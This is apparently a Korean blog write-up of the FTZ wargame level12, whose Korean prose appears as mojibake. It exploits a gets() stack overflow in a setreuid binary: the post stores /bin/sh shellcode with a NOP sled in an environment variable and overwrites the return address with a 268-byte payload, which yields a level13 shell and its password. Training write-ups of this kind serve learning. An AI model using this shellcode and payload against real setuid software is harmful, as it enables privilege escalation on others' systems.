[FTZ] level12 ํ์ด
๐ก FTZ level12 ํ์ด
๋ฌธ์
๊ณ์ : level12/it is like this
hint
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( "๋ฌธ์ฅ์ ์
๋ ฅํ์ธ์.\n" );
gets( str );
printf( "%s\n", str );
}
ํ์ด
11๋ฒ๊ณผ ๋์ผํ๊ฒ bof ์ทจ์ฝ์ ์ ์ด์ฉํด์ ๋ฆฌํด ์ฃผ์๋ฅผ SHELLCODE ์ฃผ์๋ก ๋ฐ๊ฟ์ค๋๋ค.
์ ์ฝ๋๋ ํ๊ฒฝ ๋ณ์์ ๋ด์ ์ค๋๋ค. ์ ์ฝ๋ ์์น๊ฐ ๋ช ๋ฐ์ดํธ์ฉ ์ค์ฐจ๊ฐ ์๊ธฐ๊ธฐ ๋๋ฌธ์ ๋งจ ์์ nop ๋ฌธ์๋ฅผ ๋ด์์ ์ค๋ฅ๋ฅผ ์ต์ํ ํด์ค๋๋ค.
[level12@ftz level12]$ export SHELLCODE=$(python -c 'print("\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
ํ๊ฒฝ ๋ณ์์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ๊ตฌํด์ค๋๋ค.
env.c
int main(){
printf("%p\n",getenv("SHELLCODE"));
}
์ปดํ์ผ ํ ์คํํ์ฌ SHELLCODE ํ๊ฒฝ๋ณ์์ ์ฃผ์๋ฅผ ๊ตฌํฉ๋๋ค.
[level12@ftz tmp]$ gcc -o env env.c
[level12@ftz tmp]$ ./env
0xbffffc0f
ํ๊ฒฝ ๋ณ์์ ์ฃผ์๋ 0xbffffc0f์ ๋๋ค.
์ด์ bof ์ทจ์ฝ์ ์ ๋ฐ์์ํค๊ธฐ ์ํด์ gdb๋ก ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ถ์ํฉ๋๋ค.
[level12@ftz level12]$ gdb -q attackme
(gdb) set disass intel
(gdb) disass main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108 //str[256]ํ ๋น
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc15
0x08048481 <main+17>: push 0xc15
0x08048486 <main+22>: call 0x804835c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0xc
0x08048491 <main+33>: push 0x8048538
0x08048496 <main+38>: call 0x804834c <printf>
0x0804849b <main+43>: add esp,0x10
0x0804849e <main+46>: sub esp,0xc
0x080484a1 <main+49>: lea eax,[ebp-264]
0x080484a7 <main+55>: push eax
0x080484a8 <main+56>: call 0x804831c <gets>
0x080484ad <main+61>: add esp,0x10
0x080484b0 <main+64>: sub esp,0x8
0x080484b3 <main+67>: lea eax,[ebp-264]
0x080484b9 <main+73>: push eax
0x080484ba <main+74>: push 0x804854c
0x080484bf <main+79>: call 0x804834c <printf>
0x080484c4 <main+84>: add esp,0x10
0x080484c7 <main+87>: leave
0x080484c8 <main+88>: ret
0x080484c9 <main+89>: lea esi,[esi]
0x080484cc <main+92>: nop
0x080484cd <main+93>: nop
0x080484ce <main+94>: nop
0x080484cf <main+95>: nop
End of assembler dump.
gdb ์คํ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ ์คํ์ ๋ค์๊ณผ ๊ฐ์ด ๋์ด ์์ต๋๋ค.
ret (4)
ebp (4)
dummy (8)
str (256)
๋ฐ๋ผ์ str์ 268๋ฐ์ดํธ ๋งํผ ๋ฎ์ด์ด ๋ค ๋ง์ง๋ง 4๋ฐ์ดํธ์ ํ๊ฒฝ๋ณ์ ์ฃผ์๋ก ret ์ฃผ์๋ฅผ ๋ฎ์ด ์จ ์ค๋๋ค.
[level12@ftz level12]$ (python -c 'print("A"*268+"\x0f\xfc\xff\xbf")';cat) | ./attackme
๋ฌธ์ฅ์ ์
๋ ฅํ์ธ์.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass
Level13 Password is "have no clue".
์์ ํ๋ํ์ต๋๋ค.
๋๊ธ๋จ๊ธฐ๊ธฐ